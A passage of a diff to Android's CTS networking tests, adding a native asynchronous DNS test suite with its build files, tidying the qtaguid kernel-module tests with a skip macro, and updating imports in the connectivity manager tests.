+                                 //   - 1 byte packet number (0x00)
+        0, 0, 0, 0, 0, 0, 0, 0,  // 64bit connection ID
+        0xaa, 0xda, 0xca, 0xaa,  // reserved-space version number
+        1,                       // 1 byte packet number
+        0x00,                    // private flags
+        0x07,                    // PING frame (cuz why not)
+    };
+
+    arc4random_buf(quic_packet + 1, 8);  // random connection ID
+
+    uint8_t response[1500];
+    ssize_t sent, rcvd;
+    static const int MAX_RETRIES = 5;
+    int i, errnum = 0;
+
+    for (i = 0; i < MAX_RETRIES; i++) {
+        sent = send(fd, quic_packet, sizeof(quic_packet), 0);
+        if (sent < (ssize_t)sizeof(quic_packet)) {
+            errnum = errno;
+            ALOGD("send(QUIC packet) returned sent=%zd, errno=%d", sent, errnum);
+            close(fd);
+            return -errnum;
+        }
+
+        rcvd = recv(fd, response, sizeof(response), 0);
+        if (rcvd > 0) {
+            break;
+        } else {
+            errnum = errno;
+            ALOGD("[%d/%d] recv(QUIC response) returned rcvd=%zd, errno=%d",
+                  i + 1, MAX_RETRIES, rcvd, errnum);
+        }
+    }
+    if (rcvd < 9) {
+        ALOGD("QUIC UDP %s: sent=%zd but rcvd=%zd, errno=%d", kPort, sent, rcvd, errnum);
+        if (rcvd <= 0) {
+            ALOGD("Does this network block UDP port %s?", kPort);
+        }
+        close(fd);
+        return -EPROTO;
+    }
+
+    int conn_id_cmp = memcmp(quic_packet + 1, response + 1, 8);
+    if (conn_id_cmp != 0) {
+        ALOGD("sent and received connection IDs do not match");
+        close(fd);
+        return -EPROTO;
+    }
+
+    // TODO: Replace this quick 'n' dirty test with proper QUIC-capable code.
+
+    close(fd);
+    return 0;
+}
diff --git a/tests/tests/net/native/Android.mk b/tests/tests/net/native/Android.mk
deleted file mode 100644
index b798d87..0000000
--- a/tests/tests/net/native/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/tests/tests/net/native/dns/Android.bp b/tests/tests/net/native/dns/Android.bp
new file mode 100644
index 0000000..9fbc3fc
--- /dev/null
+++ b/tests/tests/net/native/dns/Android.bp
@@ -0,0 +1,39 @@
+cc_defaults {
+    name: "dns_async_defaults",
+
+    cflags: [
+        "-fstack-protector-all",
+        "-g",
+        "-Wall",
+        "-Wextra",
+        "-Werror",
+        "-Wnullable-to-nonnull-conversion",
+        "-Wsign-compare",
+        "-Wthread-safety",
+        "-Wunused-parameter",
+    ],
+    srcs: [
+        "NativeDnsAsyncTest.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+        "libutils",
+    ],
+}
+
+cc_test {
+    name: "CtsNativeNetDnsTestCases",
+    defaults: ["dns_async_defaults"],
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+    test_suites: [
+        "cts",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/net/native/dns/AndroidTest.xml b/tests/tests/net/native/dns/AndroidTest.xml
new file mode 100644
index 0000000..fe88cda
--- /dev/null
+++ b/tests/tests/net/native/dns/AndroidTest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Native Network dns test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsNativeNetDnsTestCases->/data/local/tmp/CtsNativeNetDnsTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsNativeNetDnsTestCases" />
+        <option name="runtime-hint" value="1m" />
+    </test>
+</configuration>
diff --git a/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp b/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp
new file mode 100644
index 0000000..e501475
--- /dev/null
+++ b/tests/tests/net/native/dns/NativeDnsAsyncTest.cpp
@@ -0,0 +1,257 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <arpa/inet.h>
+#include <arpa/nameser.h>
+#include <error.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <inttypes.h>
+#include <netinet/in.h>
+#include <poll.h> /* poll */
+#include <resolv.h>
+#include <string.h>
+#include <sys/socket.h>
+
+#include <android/multinetwork.h>
+#include <gtest/gtest.h>
+
+namespace {
+constexpr int MAXPACKET = 8 * 1024;
+constexpr int PTON_MAX = 16;
+constexpr int TIMEOUT_MS = 10000;
+
+int getAsyncResponse(int fd, int timeoutMs, int* rcode, uint8_t* buf, size_t bufLen) {
+    struct pollfd wait_fd[1];
+    wait_fd[0].fd = fd;
+    wait_fd[0].events = POLLIN;
+    short revents;
+    int ret;
+    ret = poll(wait_fd, 1, timeoutMs);
+    revents = wait_fd[0].revents;
+    if (revents & POLLIN) {
+        int n = android_res_nresult(fd, rcode, buf, bufLen);
+        // Verify that android_res_nresult() closed the fd
+        char dummy;
+        EXPECT_EQ(-1, read(fd, &dummy, sizeof dummy));
+        EXPECT_EQ(EBADF, errno);
+        return n;
+    }
+
+    return -1;
+}
+
+std::vector<std::string> extractIpAddressAnswers(uint8_t* buf, size_t bufLen, int ipType) {
+    ns_msg handle;
+    if (ns_initparse((const uint8_t*) buf, bufLen, &handle) < 0) {
+        return {};
+    }
+    const int ancount = ns_msg_count(handle, ns_s_an);
+    ns_rr rr;
+    std::vector<std::string> answers;
+    for (int i = 0; i < ancount; i++) {
+        if (ns_parserr(&handle, ns_s_an, i, &rr) < 0) {
+            continue;
+        }
+        const uint8_t* rdata = ns_rr_rdata(rr);
+        char buffer[INET6_ADDRSTRLEN];
+        if (inet_ntop(ipType, (const char*) rdata, buffer, sizeof(buffer))) {
+            answers.push_back(buffer);
+        }
+    }
+    return answers;
+}
+
+void expectAnswersValid(int fd, int ipType, int expectedRcode) {
+    int rcode = -1;
+    uint8_t buf[MAXPACKET] = {};
+    int res = getAsyncResponse(fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
+    EXPECT_GE(res, 0);
+    EXPECT_EQ(rcode, expectedRcode);
+
+    if (expectedRcode == ns_r_noerror) {
+        auto answers = extractIpAddressAnswers(buf, res, ipType);
+        EXPECT_GE(answers.size(), 0U);
+        for (auto &answer : answers) {
+            char pton[PTON_MAX];
+            EXPECT_EQ(1, inet_pton(ipType, answer.c_str(), pton));
+        }
+    }
+}
+
+void expectAnswersNotValid(int fd, int expectedErrno) {
+    int rcode = -1;
+    uint8_t buf[MAXPACKET] = {};
+    int res = getAsyncResponse(fd, TIMEOUT_MS, &rcode, buf, MAXPACKET);
+    EXPECT_EQ(expectedErrno, res);
+}
+
+} // namespace
+
+TEST (NativeDnsAsyncTest, Async_Query) {
+    // V4
+    int fd1 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_a, 0);
+    EXPECT_GE(fd1, 0);
+    int fd2 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "www.youtube.com", ns_c_in, ns_t_a, 0);
+    EXPECT_GE(fd2, 0);
+    expectAnswersValid(fd2, AF_INET, ns_r_noerror);
+    expectAnswersValid(fd1, AF_INET, ns_r_noerror);
+
+    // V6
+    fd1 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(fd1, 0);
+    fd2 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "www.youtube.com", ns_c_in, ns_t_aaaa, 0);
+    EXPECT_GE(fd2, 0);
+    expectAnswersValid(fd2, AF_INET6, ns_r_noerror);
+    expectAnswersValid(fd1, AF_INET6, ns_r_noerror);
+}
+
+TEST (NativeDnsAsyncTest, Async_Send) {
+    // V4
+    uint8_t buf1[MAXPACKET] = {};
+    int len1 = res_mkquery(ns_o_query, "www.googleapis.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf1, sizeof(buf1));
+    EXPECT_GT(len1, 0);
+
+    uint8_t buf2[MAXPACKET] = {};
+    int len2 = res_mkquery(ns_o_query, "play.googleapis.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf2, sizeof(buf2));
+    EXPECT_GT(len2, 0);
+
+    int fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf1, len1, 0);
+    EXPECT_GE(fd1, 0);
+    int fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf2, len2, 0);
+    EXPECT_GE(fd2, 0);
+
+    expectAnswersValid(fd2, AF_INET, ns_r_noerror);
+    expectAnswersValid(fd1, AF_INET, ns_r_noerror);
+
+    // V6
+    memset(buf1, 0, sizeof(buf1));
+    memset(buf2, 0, sizeof(buf2));
+    len1 = res_mkquery(ns_o_query, "www.googleapis.com",
+            ns_c_in, ns_t_aaaa, nullptr, 0, nullptr, buf1, sizeof(buf1));
+    EXPECT_GT(len1, 0);
+    len2 = res_mkquery(ns_o_query, "play.googleapis.com",
+            ns_c_in, ns_t_aaaa, nullptr, 0, nullptr, buf2, sizeof(buf2));
+    EXPECT_GT(len2, 0);
+
+    fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf1, len1, 0);
+    EXPECT_GE(fd1, 0);
+    fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf2, len2, 0);
+    EXPECT_GE(fd2, 0);
+
+    expectAnswersValid(fd2, AF_INET6, ns_r_noerror);
+    expectAnswersValid(fd1, AF_INET6, ns_r_noerror);
+}
+
+TEST (NativeDnsAsyncTest, Async_NXDOMAIN) {
+    uint8_t buf[MAXPACKET] = {};
+    int len = res_mkquery(ns_o_query, "test1-nx.metric.gstatic.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
+    EXPECT_GT(len, 0);
+    int fd1 = android_res_nsend(NETWORK_UNSPECIFIED, buf, len, ANDROID_RESOLV_NO_CACHE_LOOKUP);
+    EXPECT_GE(fd1, 0);
+
+    len = res_mkquery(ns_o_query, "test2-nx.metric.gstatic.com",
+            ns_c_in, ns_t_a, nullptr, 0, nullptr, buf, sizeof(buf));
+    EXPECT_GT(len, 0);
+    int fd2 = android_res_nsend(NETWORK_UNSPECIFIED, buf, len, ANDROID_RESOLV_NO_CACHE_LOOKUP);
+    EXPECT_GE(fd2, 0);
+
+    expectAnswersValid(fd2, AF_INET, ns_r_nxdomain);
+    expectAnswersValid(fd1, AF_INET, ns_r_nxdomain);
+
+    fd1 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "test3-nx.metric.gstatic.com",
+            ns_c_in, ns_t_aaaa, ANDROID_RESOLV_NO_CACHE_LOOKUP);
+    EXPECT_GE(fd1, 0);
+    fd2 = android_res_nquery(
+            NETWORK_UNSPECIFIED, "test4-nx.metric.gstatic.com",
+            ns_c_in, ns_t_aaaa, ANDROID_RESOLV_NO_CACHE_LOOKUP);
+    EXPECT_GE(fd2, 0);
+    expectAnswersValid(fd2, AF_INET6, ns_r_nxdomain);
+    expectAnswersValid(fd1, AF_INET6, ns_r_nxdomain);
+}
+
+TEST (NativeDnsAsyncTest, Async_Cancel) {
+    int fd = android_res_nquery(
+            NETWORK_UNSPECIFIED, "www.google.com", ns_c_in, ns_t_a, 0);
+    errno = 0;
+    android_res_cancel(fd);
+    int err = errno;
+    EXPECT_EQ(err, 0);
+    // DO NOT call cancel or result with the same fd more than once,
+    // otherwise it will hit fdsan double-close fd.
+}
+
+TEST (NativeDnsAsyncTest, Async_Query_MALFORMED) {
+    // Empty string to create BLOB and query, we will get empty result and rcode = 0
+    // on DNSTLS.
+    int fd = android_res_nquery(
+            NETWORK_UNSPECIFIED, "", ns_c_in, ns_t_a, 0);
+    EXPECT_GE(fd, 0);
+    expectAnswersValid(fd, AF_INET, ns_r_noerror);
+
+    std::string exceedingLabelQuery = "www." + std::string(70, 'g') + ".com";
+    std::string exceedingDomainQuery = "www." + std::string(255, 'g') + ".com";
+
+    fd = android_res_nquery(NETWORK_UNSPECIFIED,
+            exceedingLabelQuery.c_str(), ns_c_in, ns_t_a, 0);
+    EXPECT_EQ(-EMSGSIZE, fd);
+    fd = android_res_nquery(NETWORK_UNSPECIFIED,
+            exceedingDomainQuery.c_str(), ns_c_in, ns_t_a, 0);
+    EXPECT_EQ(-EMSGSIZE, fd);
+}
+
+TEST (NativeDnsAsyncTest, Async_Send_MALFORMED) {
+    uint8_t buf[10] = {};
+    // empty BLOB
+    int fd = android_res_nsend(NETWORK_UNSPECIFIED, buf, 10, 0);
+    EXPECT_GE(fd, 0);
+    expectAnswersNotValid(fd, -EINVAL);
+
+    std::vector<uint8_t> largeBuf(2 * MAXPACKET, 0);
+    // A buffer larger than 8KB
+    fd = android_res_nsend(
+            NETWORK_UNSPECIFIED, largeBuf.data(), largeBuf.size(), 0);
+    EXPECT_EQ(-EMSGSIZE, fd);
+
+    // 5000 bytes filled with 0. This returns EMSGSIZE because FrameworkListener limits the size of
+    // commands to 4096 bytes.
+    fd = android_res_nsend(NETWORK_UNSPECIFIED, largeBuf.data(), 5000, 0);
+    EXPECT_EQ(-EMSGSIZE, fd);
+
+    // 500 bytes filled with 0
+    fd = android_res_nsend(NETWORK_UNSPECIFIED, largeBuf.data(), 500, 0);
+    EXPECT_GE(fd, 0);
+    expectAnswersNotValid(fd, -EINVAL);
+
+    // 5000 bytes filled with 0xFF
+    std::vector<uint8_t> ffBuf(5000, 0xFF);
+    fd = android_res_nsend(
+            NETWORK_UNSPECIFIED, ffBuf.data(), ffBuf.size(), 0);
+    EXPECT_EQ(-EMSGSIZE, fd);
+
+    // 500 bytes filled with 0xFF
+    fd = android_res_nsend(NETWORK_UNSPECIFIED, ffBuf.data(), 500, 0);
+    EXPECT_GE(fd, 0);
+    expectAnswersNotValid(fd, -EINVAL);
+}
diff --git a/tests/tests/net/native/qtaguid/Android.bp b/tests/tests/net/native/qtaguid/Android.bp
new file mode 100644
index 0000000..c0f0613
--- /dev/null
+++ b/tests/tests/net/native/qtaguid/Android.bp
@@ -0,0 +1,53 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build the unit tests.
+
+cc_test {
+    name: "CtsNativeNetTestCases",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: ["src/NativeQtaguidTest.cpp"],
+
+    shared_libs: [
+        "libutils",
+        "liblog",
+    ],
+
+    static_libs: [
+        "libgtest",
+        "libqtaguid",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+
+}
diff --git a/tests/tests/net/native/qtaguid/Android.mk b/tests/tests/net/native/qtaguid/Android.mk
deleted file mode 100644
index bf89e5f..0000000
--- a/tests/tests/net/native/qtaguid/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build the unit tests.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CtsNativeNetTestCases
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_SRC_FILES := \
-    src/NativeQtaguidTest.cpp
-
-LOCAL_SHARED_LIBRARIES := \
-    libutils \
-    liblog \
-
-LOCAL_STATIC_LIBRARIES := \
-    libgtest \
-    libqtaguid \
-
-LOCAL_CTS_TEST_PACKAGE := android.net.native
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-
-LOCAL_CFLAGS := -Werror -Wall
-
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/tests/tests/net/native/qtaguid/AndroidTest.xml b/tests/tests/net/native/qtaguid/AndroidTest.xml
index 7591c87..a55afe7 100644
--- a/tests/tests/net/native/qtaguid/AndroidTest.xml
+++ b/tests/tests/net/native/qtaguid/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for CTS Native Network xt_qtaguid test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeNetTestCases->/data/local/tmp/CtsNativeNetTestCases" />
diff --git a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
index 1892a44..7dc6240 100644
--- a/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
+++ b/tests/tests/net/native/qtaguid/src/NativeQtaguidTest.cpp
@@ -18,36 +18,29 @@
 #include <error.h>
 #include <errno.h>
 #include <inttypes.h>
+#include <fcntl.h>
 #include <string.h>
 #include <sys/socket.h>
-#include <sys/utsname.h>
 
 #include <gtest/gtest.h>
 #include <qtaguid/qtaguid.h>
 
-int hasQtaguidKernelSupport() {
-    struct utsname buf;
-    int kernel_version_major;
-    int kernel_version_minor;
-
-    int ret = uname(&buf);
-    if (ret) {
-        ret = -errno;
-        return ret;
-    }
-    char dummy;
-    ret = sscanf(buf.release, "%d.%d%c", &kernel_version_major, &kernel_version_minor, &dummy);
-    if (ret < 3)
-        return -EINVAL;
-
-    if ((kernel_version_major == 4 && kernel_version_minor < 9) ||
-        (kernel_version_major < 4)) {
-        return 1;
-    } else {
-        return access("/proc/net/xt_qtaguid/ctrl", F_OK) != -1;
-    }
+int canAccessQtaguidFile() {
+    int fd = open("/proc/net/xt_qtaguid/ctrl", O_RDONLY | O_CLOEXEC);
+    close(fd);
+    return fd != -1;
 }
 
+#define SKIP_IF_QTAGUID_NOT_SUPPORTED()                                                       \
+  do {                                                                                        \
+    int res = canAccessQtaguidFile();                                                      \
+    ASSERT_LE(0, res);                                                                        \
+    if (!res) {                                                                               \
+          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";  \
+          return;                                                                             \
+    }                                                                                         \
+  } while (0)
+
 int getCtrlSkInfo(int tag, uid_t uid, uint64_t* sk_addr, int* ref_cnt) {
     FILE *fp;
     fp = fopen("/proc/net/xt_qtaguid/ctrl", "r");
@@ -95,12 +88,8 @@
 }
 
 TEST (NativeQtaguidTest, close_socket_without_untag) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+    SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
     int sockfd = socket(AF_INET, SOCK_STREAM, 0);
     uid_t uid = getuid();
     int tag = arc4random();
@@ -114,12 +103,8 @@
 }
 
 TEST (NativeQtaguidTest, close_socket_without_untag_ipv6) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+    SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
     int sockfd = socket(AF_INET6, SOCK_STREAM, 0);
     uid_t uid = getuid();
     int tag = arc4random();
@@ -133,12 +118,8 @@
 }
 
 TEST (NativeQtaguidTest, no_socket_addr_leak) {
-    int res = hasQtaguidKernelSupport();
-    ASSERT_LE(0, res);
-    if (!res) {
-          GTEST_LOG_(INFO) << "This test is skipped since kernel may not have the module\n";
-          return;
-    }
+  SKIP_IF_QTAGUID_NOT_SUPPORTED();
+
   checkNoSocketPointerLeaks(AF_INET);
   checkNoSocketPointerLeaks(AF_INET6);
 }
diff --git a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
index 0a3146c..524e549 100644
--- a/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
+++ b/tests/tests/net/src/android/net/cts/AirplaneModeTest.java
@@ -18,13 +18,14 @@
 
 import android.content.ContentResolver;
 import android.content.Context;
-import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import java.lang.Thread;
 
+@AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
 public class AirplaneModeTest extends AndroidTestCase {
     private static final String TAG = "AirplaneModeTest";
     private static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
diff --git a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
index 810b5df..ca1f771 100644
--- a/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+++ b/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
@@ -21,23 +21,34 @@
 import static android.net.NetworkCapabilities.NET_CAPABILITY_IMS;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
-import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
 import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
+import static android.net.cts.util.CtsNetUtils.ConnectivityActionReceiver;
+import static android.net.cts.util.CtsNetUtils.HTTP_PORT;
+import static android.net.cts.util.CtsNetUtils.NETWORK_CALLBACK_ACTION;
+import static android.net.cts.util.CtsNetUtils.TEST_HOST;
+import static android.net.cts.util.CtsNetUtils.TestNetworkCallback;
+import static android.os.MessageQueue.OnFileDescriptorEventListener.EVENT_INPUT;
 import static android.provider.Settings.Global.NETWORK_METERED_MULTIPATH_PREFERENCE;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.AF_INET6;
+import static android.system.OsConstants.AF_UNSPEC;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 
+import android.annotation.NonNull;
 import android.app.Instrumentation;
 import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
+import android.app.UiAutomation;
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
+import android.net.IpSecManager;
+import android.net.IpSecManager.UdpEncapsulationSocket;
 import android.net.LinkProperties;
 import android.net.Network;
 import android.net.NetworkCapabilities;
@@ -46,31 +57,34 @@
 import android.net.NetworkInfo.DetailedState;
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
+import android.net.SocketKeepalive;
+import android.net.cts.util.CtsNetUtils;
+import android.net.util.KeepaliveUtils;
 import android.net.wifi.WifiManager;
+import android.os.Build;
 import android.os.Looper;
+import android.os.MessageQueue;
 import android.os.SystemClock;
 import android.os.SystemProperties;
+import android.os.VintfRuntimeInfo;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
-import android.system.Os;
-import android.system.OsConstants;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import androidx.test.InstrumentationRegistry;
 
-import com.android.internal.R;
-import com.android.internal.telephony.PhoneConstants;
-
 import libcore.io.Streams;
 
-import java.io.File;
-import java.io.FileNotFoundException;
+import java.io.FileDescriptor;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.OutputStream;
 import java.net.HttpURLConnection;
+import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
 import java.net.InetSocketAddress;
@@ -78,12 +92,14 @@
 import java.net.URL;
 import java.net.UnknownHostException;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.Collection;
 import java.util.HashMap;
-import java.util.Scanner;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -91,46 +107,33 @@
 
     private static final String TAG = ConnectivityManagerTest.class.getSimpleName();
 
-    private static final String FEATURE_ENABLE_HIPRI = "enableHIPRI";
-
     public static final int TYPE_MOBILE = ConnectivityManager.TYPE_MOBILE;
     public static final int TYPE_WIFI = ConnectivityManager.TYPE_WIFI;
 
     private static final int HOST_ADDRESS = 0x7f000001;// represent ip 127.0.0.1
-    private static final String TEST_HOST = "connectivitycheck.gstatic.com";
-    private static final int SOCKET_TIMEOUT_MS = 2000;
-    private static final int SEND_BROADCAST_TIMEOUT = 30000;
+    private static final int CONNECT_TIMEOUT_MS = 2000;
+    private static final int KEEPALIVE_CALLBACK_TIMEOUT_MS = 2000;
+    private static final int KEEPALIVE_SOCKET_TIMEOUT_MS = 5000;
+    private static final int INTERVAL_KEEPALIVE_RETRY_MS = 500;
+    private static final int MAX_KEEPALIVE_RETRY_COUNT = 3;
+    private static final int MIN_KEEPALIVE_INTERVAL = 10;
     private static final int NETWORK_CHANGE_METEREDNESS_TIMEOUT = 5000;
     private static final int NUM_TRIES_MULTIPATH_PREF_CHECK = 20;
     private static final long INTERVAL_MULTIPATH_PREF_CHECK_MS = 500;
-    private static final int HTTP_PORT = 80;
-    private static final String HTTP_REQUEST =
-            "GET /generate_204 HTTP/1.0\r\n" +
-            "Host: " + TEST_HOST + "\r\n" +
-            "Connection: keep-alive\r\n\r\n";
-
-    // Base path for IPv6 sysctls
-    private static final String IPV6_SYSCTL_DIR = "/proc/sys/net/ipv6/conf";
-
-    // Expected values for MIN|MAX_PLEN.
-    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN = 48;
-    private static final int IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN = 64;
-
-    // Expected values for RFC 7559 router soliciations.
-    // Maximum number of router solicitations to send. -1 means no limit.
-    private static final int IPV6_WIFI_ROUTER_SOLICITATIONS = -1;
-
-    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
-    private static final String NETWORK_CALLBACK_ACTION =
-            "ConnectivityManagerTest.NetworkCallbackAction";
-
-    // Intent string to get the number of wifi CONNECTIVITY_ACTION callbacks the test app has seen
-    public static final String GET_WIFI_CONNECTIVITY_ACTION_COUNT =
-            "android.net.cts.appForApi23.getWifiConnectivityActionCount";
-
     // device could have only one interface: data, wifi.
     private static final int MIN_NUM_NETWORK_TYPES = 1;
 
+    // Minimum supported keepalive counts for wifi and cellular.
+    public static final int MIN_SUPPORTED_CELLULAR_KEEPALIVE_COUNT = 1;
+    public static final int MIN_SUPPORTED_WIFI_KEEPALIVE_COUNT = 3;
+
+    private static final String NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME =
+            "config_networkMeteredMultipathPreference";
+    private static final String KEEPALIVE_ALLOWED_UNPRIVILEGED_RES_NAME =
+            "config_allowedUnprivilegedKeepalivePerUid";
+    private static final String KEEPALIVE_RESERVED_PER_SLOT_RES_NAME =
+            "config_reservedPrivilegedKeepaliveSlots";
+
     private Context mContext;
     private Instrumentation mInstrumentation;
     private ConnectivityManager mCm;
@@ -139,8 +142,9 @@
     private final HashMap<Integer, NetworkConfig> mNetworks =
             new HashMap<Integer, NetworkConfig>();
     boolean mWifiConnectAttempted;
